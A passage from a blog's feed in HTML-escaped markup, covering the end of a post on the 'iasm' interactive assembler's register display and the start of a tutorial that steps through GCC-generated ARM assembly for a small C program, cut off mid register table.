&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;iasm&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;arm&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;arm&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;r[0-9]&amp;#39;&lt;/span&gt;
Mapping&lt;span class="w"&gt; &lt;/span&gt;memory&lt;span class="w"&gt; &lt;/span&gt;region&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;0x1000000-0x11fffff&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;sz&lt;span class="w"&gt; &lt;/span&gt;0x200000&lt;span class="o"&gt;)&lt;/span&gt;
--&lt;span class="w"&gt;  &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;-----&lt;span class="w"&gt;  &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;--&lt;span class="w"&gt;  &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;--&lt;span class="w"&gt;  &lt;/span&gt;-
r0&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r1&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r2&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r3&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
r4&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r5&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r6&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r7&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
r8&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r9/sb&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
--&lt;span class="w"&gt;  &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;-----&lt;span class="w"&gt;  &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;--&lt;span class="w"&gt;  &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;--&lt;span class="w"&gt;  &lt;/span&gt;-
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So the expression &lt;code&gt;r[0-9]&lt;/code&gt; selects all the Arm registers from &lt;code&gt;r0&lt;/code&gt; to &lt;code&gt;r15&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="compressed-hex-values"&gt;Compressed hex values&lt;/h3&gt;
&lt;p&gt;32 bit numbers are too large to display (and 64 bit address are worse!).&lt;/p&gt;
&lt;p&gt;Instead, &lt;code&gt;iasm&lt;/code&gt; shows them as &lt;em&gt;compressed&lt;/em&gt; hexadecimal numbers.&lt;/p&gt;
&lt;p&gt;They are like hexadecimals but the number is split into 4-digits groups divided by a &lt;code&gt;:&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The leading zeros of each group are omitted and if the group is full of zeros only a single &lt;code&gt;0&lt;/code&gt; is put and if the group is on the left (more significant digits), the whole group is omitted.&lt;/p&gt;
&lt;p&gt;Here are some examples:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x00000000             0
0x000000ab            ab
0x00ab00cd         ab:cd
0x00ab0000          ab:0&lt;/code&gt;&lt;/pre&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/01/09/Interactive-Assembler.html" rel="alternate" type="text/html" title="iasm: Interactive Assembler"/>
    <category term="ARM" label="ARM"/>
    <category term="reversing" label="reversing"/>
    <category term="iasm" label="iasm"/>
    <published>2021-01-09T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/01/04/Review-Arm-Assembly.html</id>
    <title>Review Arm Assembly</title>
    <updated>2021-01-04T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;There is no other way to learn something that playing with it.&lt;/p&gt;
&lt;p&gt;Take assembly code, read it and predice what will do. Then test it.&lt;/p&gt;
&lt;p&gt;Those mistakes, those mismatches between what you think and what it really is, those &lt;em&gt;surprises&lt;/em&gt; are what move us forward into learning. Deeper.&lt;/p&gt;
&lt;p&gt;In this post I will dig into Arm, assisted with an &lt;a href="https://github.com/bad-address/iasm"&gt;interactive assembler&lt;/a&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="gcc-generated-arm-assembly"&gt;GCC generated Arm assembly&lt;/h2&gt;
&lt;p&gt;We will see the assembly of the following C code compiled as:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;-O0&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;asm1.asm&lt;span class="w"&gt; &lt;/span&gt;asm1.c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class="none"&gt;raspberrypi&lt;/code&gt; is a QEMU virtual machine for Arm running a Raspbian Stretch. The setup is explained in my previous post &lt;a href="/articles/2020/12/15/Qemulating-Rasbian-ARM.html"&gt;QEMUlating a Rasbian (ARM)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The code is quite simple:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4041&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4041&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let’s dig into the assembly. I will use an &lt;a href="https://github.com/bad-address/iasm"&gt;interactive assembler&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="the-rand-function"&gt;The &lt;code class="none"&gt;rand&lt;/code&gt; function&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.align&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rand&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.arch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;armv6&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.syntax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;unified&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.arm&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.fpu&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vfp&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.type&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nv"&gt;function&lt;/span&gt;
&lt;span class="nl"&gt;rand:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; link register save eliminated.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-4]!&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#66&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;bx&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.size&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rand&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;First, the code is aligned and the symbol is marked as “global”. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.arm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; says that the code is Arm (aka &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id="prologue"&gt;Prologue&lt;/h3&gt;
&lt;p&gt;The function begins saving the &lt;em&gt;frame pointer&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in the stack.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-4]!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a &lt;em&gt;pre-index&lt;/em&gt; addressing store: the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is saved 4 bytes “up” in the stack (the stack grows towards lower addresses).&lt;/p&gt;
&lt;p&gt;And the store is in &lt;em&gt;pre write-back&lt;/em&gt; store (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;): the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is updated (decremented by 4) &lt;em&gt;before&lt;/em&gt; performing the store.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; points always to the latest &lt;em&gt;valid&lt;/em&gt; value in the stack. That’s why &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is decremented before performing the store.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is an alternative to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;At the begin of the call:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r5&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r6&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;sb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r10&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;bbbb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;bbbb&lt;/span&gt;
&lt;span class="nf"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; update:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;-----&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r5&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r6&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;sb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r10&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;ffc&lt;/span&gt;
